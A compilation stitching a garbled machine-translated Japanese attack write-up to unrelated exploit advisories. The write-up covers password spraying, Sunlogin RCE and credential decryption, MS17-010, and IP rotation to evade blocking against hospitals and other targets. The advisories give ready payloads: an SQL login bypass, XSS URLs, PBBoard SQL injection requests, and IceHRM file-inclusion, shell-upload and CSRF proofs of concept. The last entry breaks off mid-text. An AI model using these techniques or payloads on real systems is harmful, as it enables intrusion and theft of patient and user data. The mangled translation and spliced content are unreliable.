ツールダウンロードアドレス:https://github.com/cityofembera/cpassword

このツールは比較的簡単に使用できます。 username.txtで名前を変更するだけです。 dict.txtにはルールがあります。また、パスワードにいくつかのルールを追加するなど、次のような最近の情報など、いくつかの変更を加えることもできます。

@2013

@2014

@2015

@2016

@2017

@2018

@2019

@2020

@2021

@2022

#2013

#2014

#2015

#2016

#2017

#2018

#2019

#2020

#2021

#2022

123!@#

!@#123。

@233

!@#345

!@#qwe

python3 recutedict.pyはパスワードファイルを自動的に生成し、パスワードはcreatedict.txtファイルに保存されます。パスワードが生成されると、パスワードファイルを指定するためにKSCANにスローされます。パスワードと衝突します。

kscan.exe -t 10.0.0.0/8 - Hydra - Hydra -Pass file:pwd.txt

Path 5 Turfurコンソールファイル配布

Turquoiseコンソールを使用してファイルを配布する機能は次のとおりです。また、Magic HAファイルの配布後に自動的に実行されます。 niu、niu、niu

image.png

コンソールを開くときにブラウザが詰まった理由がわかりません。マスターJにファイルを表示するように頼み、直接配布しました。

image.png

ターコイズで設置されたすべてのマシンはオンラインであり、一部のイントラネットマシンはオンラインではありません。ここで、CS 4.3に問題がある場合は、リスナーを転送してファイルを生成することを選択できます。

image.png

image.png

ターゲットマシンを見た後、Wuhuのスコアは基本的にいっぱいです。サーバー、ネットワーク機器、端末、リサイクルビンにある市民情報情報を含む40,000のデータ、およびそれらの6Kのポイントが取得されています。

パス6クラウド資産

ここでは、情報共有サーバーを呼び出します。収集したばかりのパスワードとパスワードにぶつかりました。上記のSQLサーバーには、コマンドを実行できる弱いパスワードもあります。これは、以前のSAには弱いパスワードが多すぎるため、いずれも1つずつ呼び出されないためです。ここにパスワードがある場合は、ツールを使用してオンラインで入力してください。

image.png

ファイルをめくって、Eディスクに情報科学のための特別なフォルダーがあることがわかりました。クラウド上の資産を取得したことがわかりました。

image.png

パス7ドメイン名許可

ドメイン名の解決権限を取得するために、今すぐアカウントパスワードでログインします

image.png

クラウドサーバーの許可は、そのうちの1つは公式のWebサイトサーバーであり、他のチームのターゲットです。

image.png

パス8クラウドサーバーの権限

Alibaba Cloud Consoleに直接ログインし、C2を使用してPowerShellをオンラインで生成します

image.png

包括的な病院

この目標は、ソーシャルワーカーを開き、スタート後の3泊目に密接な情報源を持つことです。

攻撃パス

image.png

パス1 wifiパスワード

オープンソーシャルワーカーとジニュアンはすぐにその日にサインアップしました。夕食後、作業服を交換して、携帯電話で病院に急いで行きました。私は携帯電話でKali Nethunteを閲覧していて、ツールのアームバージョンをいくつか編集しました。イントラネットに足場を構築するのに十分でした。

現場に到着した後、WiFiマスターキーを開けて近くのWiFiを検索します

image.png

WiFiに接続して、ターゲットIPアドレスにアクセスし、WeChatのQRコードをスキャンしてパスワードを取得できることを確認し、後でイントラネットでパスワードをバンプします。

image.png

ゲートウェイアドレスは、H3Cの出口デバイスであることがわかります。デバイスに弱いパスワードが記録されている場合、ネットワークセグメント情報に従って対応するネットワークセグメントをスキャンするネットワークセグメント情報があります。

image.png

PATH 2ヒマワリRCE

KSCAN指定されたWiFiパスワードファイルは、3389、22、1433などの脆弱なポートのパスワードにクラッシュし、イントラネットマシンと外部ネットワークマシンを取得します。

外部ネットワークマシンにはヒマワリRCEの脆弱性があります。おいしさはその後ヒマワリを切ったようです(ここに問題があるのかわかりませんが、その理由は見つかりません)。その後コマンドを実行した後、表示されません。

image.png

パスワードでリモートでログインすると、ヒマワリが再接続して終了して再開していることがわかります。しばらくトデスクを設置した場合に備えて、馬をつけた後、リモートでそれを成し遂げることができます。

image.png

パス3ターゲットマシン

外部ネットワークスプリングボードリモートマシンTodeskを介して、内部ネットワークサーバーネットワークセグメントを直接スキャンし、マシンをノックアウトするためにパスワードにぶつかりました。サーバーはTodeskでインストールされ、3つのターゲットマシンのTodeskリモコンを保存することがわかりました。とても幸せでした。

image.png

image.png

今すぐ彼のシステムの端末にデータを追加すると、6Kスコアがいっぱいです

専門病院

この病院は夜に閉店し、翌朝早く通過しました。病院に入ってコミュニティで死んだのは少し恥ずかしかったです。当時、私はこの病院の種類がどのような病院であるかをチェックしませんでした。ドアにはwifiがなかったので、入ることしかできませんでした。私が入ったとき、ドアの医者がまだドアの警備員が私にどんな部門にいるのかと尋ねました。

男性の学位?婦人科?

私:

それから私は少しアレルギー反応で首を見て、皮膚科の部門にいると言いましたか?

私:はいはいはい皮膚科

入った後、私はこの病院に関する情報を検索し、それをノックしました。それは専門病院のように思えました。

私は入って登録し、そこで待っていました。この病院には、皮膚科に特化した医師がいないようです。登録した後、私は1時間以上待ちました。私は電話をオンにして、WiFiに座って、内部ネットワークのスキャンを開始しました。

1655648732832-5d0ef9aa-f9d4-4905-a993-08efcaefa04c.png

医師がスプリングボードマシンを手に入れて馬に乗ることができる前に、それはヨーヨーでした。イントラネットには1つの孤児マシンしかありませんでした。

攻撃パス

image.png

パス1 wifiパスワード

同じWiFiマスターキーが入ります

パス2ターゲットマシン

ここでイントラネットをスキャンし、MS17010がWin2012マシンであることを発見しました。単一のコマンドで携帯電話でMSFを直接実行してみてください。

image.png

マシンには360 Plusアカウントがあり、追加できません。 certutilはそれを試して、ヒマワリのプロセスがないことを確認しました。その後、その構成ファイルを直接読み取り、マシンに直接復号化できます。

構成ファイルパス

インストールバージョン:c: \\プログラムファイル\\ oray \\ sunlogin \\ sunloginclient \\ config.ini

ポータブルバージョン(グリーンバージョン):c: \\ programdata \\ oray \\ sunloginclient \\ config.ini

これら2つのファイルを試しました

image.png

それはより高いバージョンでなければなりません。レジストリで見つけることができます。私は360を読みました、そして私はそれを傍受しないことを願っています。

#レジストリクエリ

reg query hkey \ _users \\。デフォルト\\ソフトウェア\\ oray \\ sunlogin \\ sunloginclient \\ sunlogininfo

reg query hkey \ _users \\。デフォルト\\ソフトウェア\\ oray \\ sunlogin \\ sunloginclient \\ sunlogingreeninfo

1655654565028-718d09f4-479b-46ec-ab2c-0d2f066753e2.png

wuhuはそれを傍受しませんでした、それをツールに投げ入れて復号化しました

ヒマワリの復号化ツールアドレス:https://github.com/wafinfo/sunflower_get_password

このツールは簡単に使用できます。 gitの後、Unicornをインストールし、Python3を実行して、今すぐレジストリで取得したencry_pwdフィールドを入力し、プロンプトに従ってスクリプトに入力します。

image.png

接続できることを確認すると、ヒマワリはホストの許可をリモートで直接取得でき、ヨーヨーです。

特定のZFユニット

このユニットには何の関係もありません。過去数日間、私はZFストリートに行き、壁の角に横たわっていました。私はこれをケースを考慮に入れました。輸出機器を入手した後、VPNを構築し、L2TPを直接使用してトンネルを構築してイントラネットに入ることができます。トップ3のポジションを維持するために最善を尽くしました。

攻撃パス

これにはスクリーンショットがありません。以下の記事を読むことができます。

image.png

参照記事:

https://zhiliao.h3c.com/questions/dispcont/146895

https://baijiahao.baidu.com/s?id=1716025203844234922amp; wfr=spideramp; For=Pc

VPNを構築できない場合、またはデバイスにVPN認証がないが、NATとTelnet機能がある場合、十分な忍耐力がある場合は、以前の記事のアイデアを参照して、Telnetを使用して外部ネットワークにマップするためにテストし、スクリプトを作成して効率を改善するためにスクリプトを作成します。

記事アドレス:https://forum.butian.net/share/1633

0x02要約

今回は、イントラネットに突入するお金があまりありませんでした。それは主に、イントラネットの水平攻撃と防御のためでした。最初の病院でターゲットシステムを採用していたとき、XP_CMDSHELLは操作およびメンテナンスマシンからターゲットマシンを攻撃しました。 SQLServerデータベースは減価償却され、TEMPディレクトリは記述できませんでした。上記のターゲットシステムを取得できませんでした。ファイルはTurfurコンソールを介して配布されました。実際、私は最初にターフールコンソールをすでに入手していました。この機能を使用しなければ、影響が大きすぎるのではないかと心配していました。私はそれを使用する以外に選択肢がありませんでした。私が知っているsqlserverはまだ少なすぎて、私は学ばなければなりません。後者は基本的にすべてソーシャルワーカーのものです。私は3位を打たなければなりません。コンピューターが壊れている場合は、販売コンピューターを再生する必要があります。環境を構成するのに時間がかかりすぎました。

最近、SQLServerが波を共有することについての良い記事も見ました。コミュニティマスターには多くの姿勢があります。

https://forum.butian.net/share/1390

最近の攻撃的および防御的な業務に要約されたいくつかのこと、マスターとのコミュニケーションへようこそ

いくつかのヒントの概要:

外部ネットワークをチェックしてください

Asset Collection Enscan_go Space Drawing Survey FOFA/360QUAKE/SHADOW/ZOOMEYE/HUNTERKUNYU/FOFA_VIEWER/INFOSEARCHALL軽量スキャンKSCANサービスの識別はFOFAと協力するために使用してFSCAN Cセグメントを迅速に識別することができます。 cセグメントEEYESWEB指紋認識EHOLEは優れたツールです。指紋とスペース描画エンジンインターフェイスTIDE TIDAL FINGERPRINT WEBオンライン検出TIDEFINGERHTTPX Get Web Title Status Code Intranet Host Information Information Collection

すべてのファイル検索(正規表現により効率が向上)

ヒマワリRCE(ひまわりは本当にクールです)weblogics2redis shiro originalアドレス:https://forum.butian.net/share/1719

Pythonスクリプトを使用して、Clash Configurationファイルを自動的に生成して、FuzzがIPを自動的に切り替えることを実現します。今、ブルードッグはIPを速すぎてブロックしています。彼がBurpを使用してIPSをブロックした時代を考えて、彼は泣きたいと思っていました。なぜ私は空飛ぶ魚を必要としないのかと私に聞かないでください、それは高すぎます。

0x00購入IPアドレスプールを購入

バランスパッケージを推奨することによる購入。このスクリプトは、残高支払いで支払う方が費用対効果が高くなります。

http://http.py.cn/pay/?paytype=banlance

0x01 APIインターフェイスを取得

パッケージを購入した後、「API抽出」を選択して直接抽出すると、推奨される構成は次のとおりです。

1。バランス離脱。 2。長い間使用すると、必要に応じて選択する必要があります。 25分から180分を選択することをお勧めします。 3.推奨される抽出数は5〜10であり、地元の暴君は彼らが望むことを何でもすることができます。 4.州は混合し、アクセス速度を上げるために自分の州または近くの州を選択することをお勧めします。 5.現在、このプロキシプロトコルはSOKCS5接続のみをサポートしています。 6.スクリプトの解析を容易にするために、データ形式のJSON形式を選択します。 7.チェックするすべての属性を選択します。そうしないと、エラーが発生します。 8。365日間のIP削除。image

0x02展開手順

Copy auto_proxyコード(auto_proxy_example.yaml、auto_proxy.py、proxyignorelist.plist)をClash Configurationファイルディレクトリにコピーします。

Windowsのデフォルト:Clash \ Data \ Profiles \ Macデフォルト:〜/.Config/Clash/image

auto_proxy.py関連の構成を変更すると、主なパラメーターは次のとおりです。

test_url:テストのために監視する必要があるIPアドレス。 PY_API:前のステップで取得したPinyi APIインターフェイス。 max_connect_error:エラー接続の数、n連続した接続エラー、プロキシを再取得します。image

ホワイトリストの構成、https://www.cnblogs.com/powertips/p/14775956.htmlを参照してください

Windows:auto_proxy_example.yamlにCFW-Bypass構成を追加します。 MAC:プロジェクトでProxyignorElist.plistを直接使用するだけで、再起動して効果的にする必要があります。注:必ず *.taolop.comをホワイトリストに追加してください。そうしないと、プロキシが期限切れになり、プロキシを取得し続ける可能性があります。

0x03使用の手順

clashディレクトリでpython3 auto_proxy.pyを実行し、clashの構成をauto_proxyとして選択します。

image

衝突はグローバルモードで構成する必要があり、システムプロキシは同時に設定されます。現在、スクリプトは2つのルールを設定します。

アクセラレーションモード:監視Webサイトに従って、最低レイテンシエージェントを選択します。ロードモード:各リクエストはプロキシでランダムに接続されます。image

ロードモードの操作効果:

image

操作エラーが設定されたしきい値を超えると、「IPがブロックされ、プロキシを再取得する」とプロンプトします。この時点で、Clashは「構成ファイルをリロードする」とプロンプトを表示し、手動でクリックして更新する必要があります。

image

0x05使用効果

この効果モードはロードモードです。 Dirsearchをテストしてください。自分で他のツールをテストしてください。

ターゲットマシン側:Python3 -M http.server 8000攻撃側:Python3 dirsearch.py -u http://x.x.x.x.x.x.x.x.x.x.x.x.x.x.x.x33608000.0.0.1:7890 image

同時に、10個のIP Explosion Directoriesがあります。パニックに陥っているかどうか尋ねます!

# Exploit Title: Free Article Submissions SQL Injection Vulnerability
# Google Dork: inurl:/category.php?id=22 "Affiliate Programs Portal"
               inurl:/category.php?id=2 "Arts & Entertainment"
# Date: 07/12/2014
# Exploit Author: BarrabravaZ
# Vendor Homepage: http://www.articlesetup.com/
# Software Link: [download link if available]
# Version: 1.00
# Tested on: Windows

 
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 «««:»»»          Author will be not responsible for any damage.          «««:»»»
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
x
x Issue: 
x SQL Injection Bypass Login
x 
x Risk level: High
x ~ The remote attacker has the possibility to manage the website.
x ~ The remote attacker is able to login into website with access level as admin.
x 
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
##
## Proof Of Concept:
## http://127.0.0.1/admin/login.php
##
## Username :  ' OR 1=1 #
## Password :  barrabravaz
##
##
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Special thanks to:
[+] Chae Cryptn [+] Slackerc0de Family [+] SBH Pentester [+] Pocong XXX
[+] Madleets [+] Xplorecrew [+] Hackernewbie [+] Yogyacarderlink
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
            
source: https://www.securityfocus.com/bid/46888/info

Wikiwig is prone to a cross-site scripting vulnerability and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Wikiwig 5.01 is vulnerable; other versions may also be affected. 

http://www.example.com/wikiwig5.01/_wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php?to_r_list=%3Cscript%3Ealert(0)%3C%2fscript%3E 
            
source: https://www.securityfocus.com/bid/46896/info

AplikaMedia CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/page_info.php?id_brt=[Sql_injection] 
            
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

+------------------------------------------------------------------------------+
| Packet Storm Advisory 2014-1204-1                                            |
| http://packetstormsecurity.com/                                              |
+------------------------------------------------------------------------------+
| Title: Offset2lib: Bypassing Full ASLR On 64bit Linux                        |
+--------------------+---------------------------------------------------------+
| Release Date       | 2014/12/04                                              |
| Advisory Contact   | Packet Storm (advisories@packetstormsecurity.com)       |
| Researchers        | Hector Marco and Ismael Ripoll                          |
+--------------------+---------------------------------------------------------+
| System Affected    | 64 bit PIE Linux                                        |
| Classification     | 1-day                                                   |
+--------------------+---------------------------------------------------------+

+----------+
| OVERVIEW |
+----------+

The release of this advisory provides exploitation details in relation 
a weakness in the Linux ASLR implementation.  The problem appears when 
the executable is PIE compiled and it has an address leak belonging to 
the executable.

These details were obtained through the Packet Storm Bug Bounty program 
and are being released to the community.

+------------------------------------------------------------------------------+

+---------+
| DETAILS |
+---------+

An attacker is able to de-randomize all mmapped areas (libraries, mapped files, etc.) 
by knowing only an address belonging to the application and the offset2lib value.

+------------------------------------------------------------------------------+

+------------------+
| PROOF OF CONCEPT |
+------------------+

The proof of concept exploit code is available here:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35472.tgz
http://packetstormsecurity.com/files/129398

+------------------------------------------------------------------------------+

+---------------+
| RELATED LINKS |
+---------------+

http://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html

+------------------------------------------------------------------------------+


+----------------+
| SHAMELESS PLUG |
+----------------+

The Packet Storm Bug Bounty program gives researchers the ability to profit 
from their discoveries.  You can get paid thousands of dollars for one day 
and zero day exploits.  Get involved by contacting us at 
getpaid@packetstormsecurity.com or visit the bug bounty page at: 

http://packetstormsecurity.com/bugbounty/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iEYEARECAAYFAlSBA04ACgkQrM7A8W0gTbG0jwCdH5CHOIDO9ELRcrPhQmf5FF4z
TgQAn2zuwadnWdMueC8gUQPT5gCmrQyp
=iegV
-----END PGP SIGNATURE-----
            
Vulnerability title: SQL Injection in PBBoard CMS
CVE: CVE-2014-9215
CMS: PBBoard
Vendor: Power bulletin board - http://www.pbboard.info/
Product: http://sourceforge.net/projects/pbboard/files/PBBoard_v3.0.1/PBBoard_v3.0.1.zip/download
Affected version: Version 3.0.1 (updated on 13/09/2014) and before.
Fixed version: Version 3.0.1 (updated on 28/11/2014)
Google dork: intext:Powered By PBBoard
Reported by: Tran Dinh Tien - tien.d.tran@itas.vn 
Credits to ITAS Team - www.itas.vn


:: DESCRITION ::
 
Multiple SQL injection vulnerabilities has been found and confirmed within the software as an anonymous user. A successful attack could allow an anonymous attacker to access information such as username and password hashes that are stored in the database. The following URLs and parameters have been confirmed to suffer from SQL injection.

:: DETAILS :: Attack vector

Link 1: 

POST /index.php?page=register&checkemail=1 HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://server/index.php?page=register&index=1&agree=1
Content-Length: 29
Cookie: PowerBB_lastvisit=1417086736; PHPSESSID=j0f7fuju2tu2ip7jrlgq6m56k4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

email=<SQL Injection Here>&ajax=1


Link 2:

POST /index.php?page=forget&start=1 HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/index.php?page=forget&index=1
Cookie: PowerBB_lastvisit=1417086736; PHPSESSID=j0f7fuju2tu2ip7jrlgq6m56k4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

code=0ae4e&email=<SQL Injection Here>&submit_forget=Save


link 3: 

POST /index.php?page=forget&send_active_code=1 HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://server/index.php?page=forget&active_member=1&send_active_code=1
Cookie: PowerBB_lastvisit=1417086736; PHPSESSID=j0f7fuju2tu2ip7jrlgq6m56k4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 57

code=13709&email=<SQL Injection Here>&submit_active_code=Save


:: CODE DETAIL ::

- Vulnerable parameter:  email
- Vulnerable file:       includes/functions.class.php
- Vulnerable function:   CheckEmail($email)

- Vulnerable code: 
  function CheckEmail($email)
  {
    return preg_match('#^[a-z0-9.!\#$%&\'*+-/=?^_`{|}~]+@([0-9.]+|([^\s\'"<>@,;]+\.+[a-z]{2,6}))$#si', $email) ? true : false;
  }

- Fix code: 
    function CheckEmail($email)
      {
        // First, we check that there's one @ symbol, and that the lengths are right
        if (!preg_match("/^[^@]{1,64}@[^@]{1,255}$/", $email)) {
            // Email invalid because wrong number of characters in one section, or wrong number of @ symbols.
            return false;
        }

      if (@strstr($email,'"')
    or @strstr($email,"'")
    or @strstr($email,'>')
    or @strstr($email,'<')
    or @strstr($email,'*')
    or @strstr($email,'%')
    or @strstr($email,'$')
    or @strstr($email,'#')
    or @strstr($email,'+')
    or @strstr($email,'^')
    or @strstr($email,'&')
    or @strstr($email,',')
    or @strstr($email,'~')
    or @strstr($email,'!')
    or @strstr($email,'{')
    or @strstr($email,'}')
    or @strstr($email,'(')
    or @strstr($email,')')
    or @strstr($email,'/'))
        {
           return false;
        }
        // Split it into sections to make life easier
        $email_array = explode("@", $email);
        $local_array = explode(".", $email_array[0]);
        for ($i = 0; $i < sizeof($local_array); $i++) {
            if (!preg_match("/^(([A-Za-z0-9!#$%&'*+\/=?^_`{|}~-][A-Za-z0-9!#$%&'*+\/=?^_`{|}~\.-]{0,63})|(\"[^(\\|\")]{0,62}\"))$/", $local_array[$i])) {
                return false;
            }
        }
        if (!preg_match("/^\[?[0-9\.]+\]?$/", $email_array[1])) { // Check if domain is IP. If not, it should be valid domain name
            $domain_array = explode(".", $email_array[1]);
            if (sizeof($domain_array) < 2) {
                return false; // Not enough parts to domain
            }
            for ($i = 0; $i < sizeof($domain_array); $i++) {
                if (!preg_match("/^(([A-Za-z0-9][A-Za-z0-9-]{0,61}[A-Za-z0-9])|([A-Za-z0-9]+))$/", $domain_array[$i])) {
                    return false;
                }
            }
        }

        return true;
    }
  

  
:: SOLUTION ::
Version 3.0.1 (updated on 28/11/2014)

:: DISCLOSURE ::
- 11/27/2014: Inform the vendor
- 11/28/2014: Vendor confirmed
- 11/28/2014: Vendor releases patch
- 12/01/2014: ITAS Team publishes information

::COPYRIGHT::
Copyright (c) ITAS CORP 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of ITAS CORP (www.itas.vn).

:: DISCLAIMER ::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.

:: REFERENCE ::
- http://www.itas.vn/news/ITAS-Team-discovered-SQL-Injection-in-PBBoard-CMS-68.html
- https://www.youtube.com/watch?v=AQiGvH5xrJg
            

IceHrm <=7.1 Multiple Vulnerabilities


Vendor: IceHRM
Product web page: http://www.icehrm.com
Affected version: <= 7.1


Summary: IceHrm is Human Resource Management web software
for small and medium sized organizations. The software is
written in PHP. It has community (free), commercial and
hosted (cloud) solution.

Desc: IceHrm <= 7.1 suffers from multiple vulnerabilities
including Local File Inclusion, Cross-Site Scripting, Malicious
File Upload, Cross-Site Request Forgery and Code Execution.

Tested on: Apache/2.2.15 (Unix)
           PHP/5.3.3
           MySQL 5.1.73


Vulnerabilities discovered by Stefan 'sm' Petrushevski
                              @zeroscience


Advisory ID: ZSL-2014-5215
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5215.php


01.12.2014

---


1. Local File Inclusion (LFI) 
#####################################################
File: 
app/index.php

Vulnerable code:
---- snip ----
include APP_BASE_PATH.'/'.$group.'/'.$name.'/index.php';
app/?g=../&n=../../../../etc/passwd%00
---- snip ----

Proof of Concept (PoC):
http://zsltest/icehrm/app/?g=../&n=../../../../etc/passwd%00

Severity:  CRITICAL
#####################################################


2. Local File Inclusion (LFI)
#####################################################
File:
service.php

Vulnerable code:
---- snip ----
if($action == 'download'){
	$fileName = $_REQUEST['file'];
	$fileName = CLIENT_BASE_PATH.'data/'.$fileName;
	header('Content-Description: File Transfer');
	header('Content-Type: application/octet-stream');
	header('Content-Disposition: attachment; filename='.basename($fileName));
	header('Content-Transfer-Encoding: binary');
	header('Expires: 0');
	header('Cache-Control: must-revalidate');
	header('Pragma: public');
	header('Content-Length: ' . filesize($fileName));
	ob_clean();
	flush();
	readfile($fileName);
---- snip ----

Proof of Concept (PoC):
http://zsltest/icehrm/app/service.php?a=download&file=../config.php

Severity:  CRITICAL
#####################################################


3. Malicious File Upload / Code Execution
#####################################################
File:
fileupload.php 

Vulnerable code:
---- snip ----
//Generate File Name
$saveFileName = $_POST['file_name'];
if(empty($saveFileName) || $saveFileName == "_NEW_"){
	$saveFileName = microtime();
	$saveFileName = str_replace(".", "-", $saveFileName);	
}

$file = new File();
$file->Load("name = ?",array($saveFileName));

// list of valid extensions, ex. array("jpeg", "xml", "bmp")

$allowedExtensions = explode(',', "csv,doc,xls,docx,xlsx,txt,ppt,pptx,rtf,pdf,xml,jpg,bmp,gif,png,jpeg");
// max file size in bytes
$sizeLimit =MAX_FILE_SIZE_KB * 1024;
$uploader = new qqFileUploader($allowedExtensions, $sizeLimit);
$result = $uploader->handleUpload(CLIENT_BASE_PATH.'data/',$saveFileName);
// to pass data through iframe you will need to encode all html tags

if($result['success'] == 1){
	$file->name = $saveFileName;
	$file->filename = $result['filename'];
	$file->employee = $_POST['user']=="_NONE_"?null:$_POST['user'];
	$file->file_group = $_POST['file_group'];
	$file->Save();
	$result['data'] = CLIENT_BASE_URL.'data/'.$result['filename'];
	$result['data'] .= "|".$saveFileName;
	$result['data'] .= "|".$file->id;
}
---- snip ----

Proof of Concept (PoC) method:
1. Change the 'file_name' request parameter in desired filename. The file will be saved in 'data' folder.
Example: file_name = dsadsa.php ==will be saved in==> data/dsadsa.php.txt
2. Create a malicious file (php shell) save it with .txt extension
3. Upload the malicious file (php shell) via the upload form in fileupload_page.php. The file will appear in ‘data’ folder as dsadsa.php.txt.
4. Access the file – http://zsltest/icehrm/data/dsadsa.php.txt to execute the php code.

PoC example:
1. http://zsltest/icehrm/app/fileupload_page.php?id=xxx.php&msg=Upload%20Attachment&file_group=EmployeeDocument&file_type=all&user=1
2. xxx.txt contents:
<?php phpinfo(); ?>
3. Upload the filename
4. Access the file:

Severity:  CRITICAL
#####################################################


4. Cross-Site Scripting (XSS)
#####################################################
File:
login.php

Vulnerable code:
---- snip ----
  <script type="text/javascript">
	var key = "";
  <?php if(isset($_REQUEST['key'])){?>
  	key = '<?=$_REQUEST['key']?>';
  	key = key.replace(/ /g,"+");
  <?php }?>
---- snip ----

Proof of Concept (PoC):
http://zsltest/icehrm/app/login.php?key=';</script><script>alert(‘zsl’);</script>

Severity:  MEDIUM
#####################################################


5. Cross-Site Scripting (XSS)
#####################################################
File:
fileupload_page.php

Vulnerable code:
---- snip ----
<div id="upload_form">
<form id="upload_data" method="post" action="<?=CLIENT_BASE_URL?>fileupload.php" enctype="multipart/form-data">
<input id="file_name" name="file_name" type="hidden" value="<?=$_REQUEST['id']?>"/>
<input id="file_group" name="file_group" type="hidden" value="<?=$_REQUEST['file_group']?>"/>
<input id="user" name="user" type="hidden" value="<?=$_REQUEST['user']?>"/>
<label id="upload_status"><?=$_REQUEST['msg']?></label><input id="file" name="file"  type="file" onChange="if(checkFileType('file','<?=$fileTypes?>')){uploadfile();}"></input>
…
---- snip ----

Vulnerable parameters: id, file_group, user, msg

Proof of Concept (PoC):
http://zsltest/icehrm/fileupload_page.php?id=XXXX%22%3E%3Cscript%3Ealert(‘zsl’)%3C/script%3E

Severity:  MEDIUM
#####################################################


6. Information Disclosure / Leaking Sensitive User Info
#####################################################
Users’/employees’ profile images are easily accessible in the ‘data’ folder.

Proof of Concept (PoC):
http://192.168.200.119/icehrm/app/data/profile_image_1.jpg
http://192.168.200.119/icehrm/app/data/profile_image_X.jpg <- x=user id

Severity:  LOW
#####################################################


7. Cross-Site Request Forgery (CSRF)
#####################################################
All forms are vulnerable to CSRF.

Documents library:
http://localhost/icehrm/app/service.php
POST 
document=2&valid_until=&status=Inactive&details=detailz&attachment=attachment_evi4t3VuKqDfyY&a=add&t=EmployeeDocument

Personal info:
http://localhost/icehrm/app/service.php
GET 
t=Employee
a=ca
sa=get
mod=modules=employees
req={"map":"{\"nationality\":[\"Nationality\",\"id\",\"name\"],\"employment_status\":[\"EmploymentStatus\",\"id\",\"name\"],\"job_title\":[\"JobTitle\",\"id\",\"name\"],\"pay_grade\":[\"PayGrade\",\"id\",\"name\"],\"country\":[\"Country\",\"code\",\"name\"],\"province\":[\"Province\",\"id\",\"name\"],\"department\":[\"CompanyStructure\",\"id\",\"title\"],\"supervisor\":[\"Employee\",\"id\",\"first_name+last_name\"]}"}

Add new admin user:
http://localhost/icehrm/app/service.php
POST
username=test5&email=test5%40zeroscience.mk&employee=1&user_level=Admin&a=add&t=User

Change password of user:
http://localhost/icehrm/app/service.php?
GET
t=User
a=ca
sa=changePassword
mod=admin=users
req={"id":5,"pwd":"newpass"}

Add/edit modules:
http://localhost/icehrm/app/service.php
POST
t=Module&a=get&sm=%7B%7D&ft=&ob=

Severity:  LOW
#####################################################
            
############################################################################## 
# Exploit Title   : PBBoard CMS Stored xss vulnerability
# Author          : Manish Kishan Tanwar  
# Vendor          : http://www.pbboard.info/
# version affected: all
# Date            : 7/12/2014 
# Discovered @    : INDISHELL Lab
# Love to         : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,jagriti
# email           : manish.1046@gmail.com
############################################################################## 
////////////////////////
/// Overview: 
//////////////////////// 
Program PBBoard is interactive Forum management program Dialogic
Free classified software Free and open source.
///////////////////////////////
// Vulnerability Description: 
///////////////////////////////

Stored xss vulnerability exist in "send private message" module, a user can send xss crafted private message to other user, and when reciever will open the message xss payload will execute

//////////////////////////////
///  Proof of Concept: -
//////////////////////////////

go to "inbox", click "compose message"
type username, title and message body , intercept the request and change the
